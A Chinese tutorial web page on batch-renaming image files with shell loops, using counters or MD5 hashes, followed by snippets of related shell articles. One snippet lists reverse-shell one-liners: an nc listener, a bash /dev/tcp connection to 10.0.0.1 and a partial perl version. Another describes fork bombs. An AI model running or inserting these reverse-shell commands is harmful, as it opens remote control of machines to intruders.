详解Shell 命令行批量处理图片文件名的实例

Shell 命令行批量处理图片文件名

前言:

从网上下载了一堆图片,有的是*.jpg的,有的是*.jpeg的。并且文件名有长有短,很是糟心。因此,我想把这些文件给全部整理好,当然是用shell来处理啦!

说干就干。

循环所有文件

首先,我把所有的乱七八糟的图片,全部放在 ./image/ 这个文件夹下面。

然后在外层写一个i.sh的shell文件,录入下面的内容。

我的文件结构演示如下:

文件
image/xxx.jpg
image/xxx.jpeg
i.sh
for f in $(find ./image -iname "*.*"); do
 echo $f
done

然后执行 sh i.sh 命令,顺利在命令行里面输出了所有的图片文件。

实现 i++ 数字效果

我想把图片全部命名为 1.jpg 2.jpg 这样的图片文件,所以就需要一个类似于js的i++效果。

于是,把上面代码修改为

# 搞一个i的变量
i=1
for f in $(find ./image -iname "*.*"); do
 ## 打印 i
 echo $i
 echo $f
 ## 计算i++
 ((i++))
done

OK,已经顺利的输出了数字了。到这一步就很明显的得到了我们想要的,下面只要把文件给复制一下就好了。

实现重命名效果

# 搞一个i的变量
i=1
mkdir img
for f in $(find ./image -iname "*.*"); do
 cp $f ./img/$i.jpg
 ## 计算i++
 ((i++))
done

好,如上,我们就将图片全部根据数字重命名,并且放到了一个新的img文件夹中。我们想要的效果就实现了。

用MD5值命名图片

突然想到,数字这东西不靠谱,下次不小心执行了,很容易把图片给搞乱掉,还是MD5值靠谱,并且注意,还能过滤同样的图片。

嗯,理想很丰满,我们来看看。

md5 -q $file

可以输出文件的MD5计算值。就用这个了。改造上面代码如下:

mkdir img
for f in $(find ./image -iname "*.*"); do
 # 计算MD5值,并赋予一个变量
 a=$(md5 -q $f)
 # 复制文件
 cp $f ./img/$a.jpg
done

我是想拿这一堆文件重复实现,所以用复制,如果不需要这样考虑,完全可以使用mv重命名,代码如下:

mkdir img
for f in $(find ./image -iname "*.*"); do
 # 计算MD5值,并赋予一个变量
 a=$(md5 -q $f)
 # 复制文件
 mv $f ./image/$a.jpg
done

以上所有命令均基于MAC系统运行。如果是Linux 可能有细微差异。

如有疑问请留言或者到本站社区交流讨论,感谢阅读,希望能帮助到大家,谢谢大家对本站的支持!

时间: 2017-08-02

Linux 在Shell脚本中使用函数实例详解

Linux 在Shell脚本中使用函数实例详解 Shell的函数 Shell程序也支持函数.函数能完成一特定的功能,可以重复调用这个函数. 函数格式如下: 函数名() { 函数体 } 函数调用方式: 函数名 参数列表 实例:编写一函数add求两个数的和,这两个数用位置参数传入,最后输出结果. root@ubuntu:/home/study# vi test3 #!/bin/bash add(){ a=$1; b=$2; z=`expr $a + $b`; echo "The sum is $z&

Shell脚本经典之Fork炸弹的分析与预防

fork炸弹介绍 众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能.这样的一款shell中自然不会缺少函数这个元素来帮助程序进行模块化的高效开发与管理.于是产生了由于其特殊的特性,bash拥有了fork炸弹.Jaromil在2002年设计了最为精简的一个fork炸弹的实现. 所谓fork炸弹是一种恶意程序,它的内部是一个不断在fork进程的无限循环,fork炸弹并不需要有特别的权限即可对系统造成破坏.fork炸弹实质是一个简单的递归程序.由于程序是递归的,如果没有任何限制

Linux下NC反弹shell命令(推荐)

本机开启监听: nc -lvnp 4444 nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p

shell如何记录用户的IP与命令详解

记录输入的命令 history命令可以查看用户输入过的命令,一个典型history命令输出如下: 980 2017-05-29 20:17:37 cd - 981 2017-05-29 20:17:41 cat index.html 982 2017-05-29 20:20:11 vim index.html 983 2017-05-29 20:39:18 cd - 984 2017-05-29 20:39:25 cd /var/log/nginx/ 985 2017-05-29 20:39:2

shell脚本实现多进程运行的方法示例

本文主要跟大家分享了shell脚本实现多进程运行的相关内容,分享出来供大家参考学习,下面来一起看看详细的介绍: 例子 for ip in 192.168.56.{1..254} do ( ping $ip -c 4 &>/dev/null; if [ $? -eq 0 ]; then echo $ip is alive fi ) & done wait 解释 重点是在于()和&,把for里面需要执行的命令当作一个组合并在后台运行. wait等待所有后台子程序执行完毕 执行效率

shell脚本学习之调用脚本将文件打包zip的方法示例

前言 本文主要给大家介绍的是关于调用脚本将文件打包zip的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍: 最近刚刚接触shell脚本,写了一点简单的练手.这里是用python调用脚本执行打包操作. 方法如下: 第一步,创建脚本: #!/bin/sh CERT_DIR_ZIP=/data/cert/keys zip_user(){ zip -P $zip_psw /data/frontend/tmp/$zip_name.zip $client/* } if [ "x$1"

详解Linux运维CentOS系统SVN双备份Shell脚本

前言 SVN是Subversion的简称,是一个开放源代码的版本控制系统,采用了分支管理系统.说得简单一点SVN就是用于多个人共同开发同一个项目,共用资源的目的. 作为一个代码管理工具,备份操作显得尤为重要,这里采取这样的备份策略:在执行本地备份的同时,让Shell脚本自动上传数据到另一台FTP备份服务器中,这种异地备份策略成本比较小,无需存储,而且安全系统高,想到与双备份,本地和异地同时出现数据损坏的概率是低很多的. 备份策略说明 使用CentOS 6系列系统,安装vsftpd,修改配置参数.

shell脚本实现多彩进度条

先贴代码 #!/bin/bash i=0; str="" arr=("|" "/" "-" "\\") while [ $i -le 100 ] do let index=i%4 let indexcolor=i%8 let color=30+indexcolor printf "\e[0;$color;1m[%-100s][%d%%]%c\r" "$str" &qu

Shell脚本编写的八条可靠建议(值得收藏)

这八个建议,来源于键者几年来编写 shell 脚本的一些经验和教训.事实上开始写的时候还不止这几条,后来思索再三,去掉几条无关痛痒的,最后剩下八条.毫不夸张地说,每条都是精挑细选的,虽然有几点算是老生常谈了. 1. 指定bash shell 脚本的第一行,#!之后应该是什么?如果拿这个问题去问别人,不同的人的回答可能各不相同. 我见过/usr/bin/env bash,也见过/bin/bash,还有/usr/bin/bash,还有/bin/sh,还有/usr/bin/env sh.这算是编程界的

Bootstrap学习笔记之进度条、媒体对象实例详解

1.基础进度条 要写在<div class="progress"></div>里面. <div class="col-md-6"> <div class="progress"> <div class="progress-bar" style="width:30%;"></div> </div> </div> 2.

浅析shell脚本知识之符号篇

shell Shell还有一种执行命令的方式称为批处理(Batch),用户事先写一 个Shell脚本(Script),其中有很多条命令,让Shell一次把这些命令执行完,而不必一条一条地敲 命令.Shell脚本和编程语言很相似,也有变量和流程控制语句,包括循环和分支.但Shell脚本是解释执行的,不需 要编译,Shell程序从脚本中一行一行读取并执行这些命令,相当于一个用户把脚本中的命令一行一 行敲到Shell提示符下执行.作为程序设计语言,它虽然不是 Linux系统内核的一部分,但它调用了系统

使用Shell 脚本实现每隔100行插入一条记录且记录第一列包含行号其他列不变

1.例子:每隔100行插入一条记录,并且此条记录的第一列包含行号,其他列与第一行相同 #!/bin/sh var="00001" # 变量 cat a.txt|awk 'NR==1'|while read line # 获取文件第一行 do #echo "$line" result=`echo "$line"|cut -f2-` # 默认以tab分割,获取第二列至最后一列 cat a.txt|awk 'NR%100==0{printf("

简单实现python进度条脚本

最近需要用Python写一个小脚本,用到了一些小知识,赶紧抽空记录一下.不深但是常用. 两个进度条示例,拷贝就能运行: # coding=utf-8 import sys import time # width:宽度, percent:百分比 def progress(width, percent): print "\r%s %d%%" % (('%%-%ds' % width) % (width * percent / 100 * '='), percent), if percent

shell脚本学习指南[三](Arnold Robbins & Nelson H.F. Beebe著)

今天木有冷笑话,只有一个噩耗.噩耗是:今天木有冷笑话!!!不要总想着冷笑话嘛,有点追求,听毛主席的话:好好学习,天天向上! 第七章输入输出.文件与命令执行 学C的应该了解标准输入输出和错误输出吧?感觉总打很多字进度太慢,所以一直在省略类似C的东西,也方便以后看这篇文章的人能够快速学完shell脚本(或者是快速看完这本书). 读取行read命令是重要方式之一,它可以自标准输入读取行后,通过shell字段切割的功能(使用$IFS)进行切分,第一部分给第一个变量,第二部分给第二个,类推.如果切割单词多

shell脚本学习指南[二](Arnold Robbins & Nelson H.F. Beebe著)

该进入第四章了,刚才看到一个帖子标题:我空有一身泡妞的好本领,但可惜自己是个妞.汗-这个...音乐无国界嘛,这个不应该也没性别界么? 第四章文本处理工具 书中先说明了以下排序的规则,数值的就不用说了,该大就大该小就小,但是字符型很多时候是区分声调或者重音的.在命令行中输入locale查看自己系统的编码配置.默认的是系统配置里的,但是可以自己设置排序的编码.如: 复制代码 代码如下: $ LC_ALL=C sort french-english #以传统ASCII码顺序排序 下边介绍以下排序命令s

十三个写好shell脚本的技巧分享

前言 产品的最终用户通常不懂技术,所以不管你怎么折腾产品代码都无所谓.但脚本代码不一样,它们是开发人员写给开发人员的. 有多少次,你运行./script.sh,然后输出一些东西,但却不知道它刚刚都做了些什么.这是一种很糟糕的脚本用户体验.我将在这篇文章中介绍如何写出具有良好开发者体验的 shell 脚本. 产品的最终用户通常不懂技术,所以不管你怎么折腾产品代码都无所谓.但脚本代码不一样,它们是开发人员写给开发人员的. 这样会导致一些问题: 混乱的脚本--我知道,我们都是工程师,读得懂代码,但即使

Linux下一些常用的Shell脚本整理

如何计算当前目录下的文件数和目录数 # ls -l * |grep "^-"|wc -l ---- to count files # ls -l * |grep "^d"|wc -l ----- to count dir 如何只列子目录? ls -F | grep /$ 或者 alias sub = "ls -F | grep /$"(linux) ls -l | grep "^d" 或者 ls -lL | grep &quo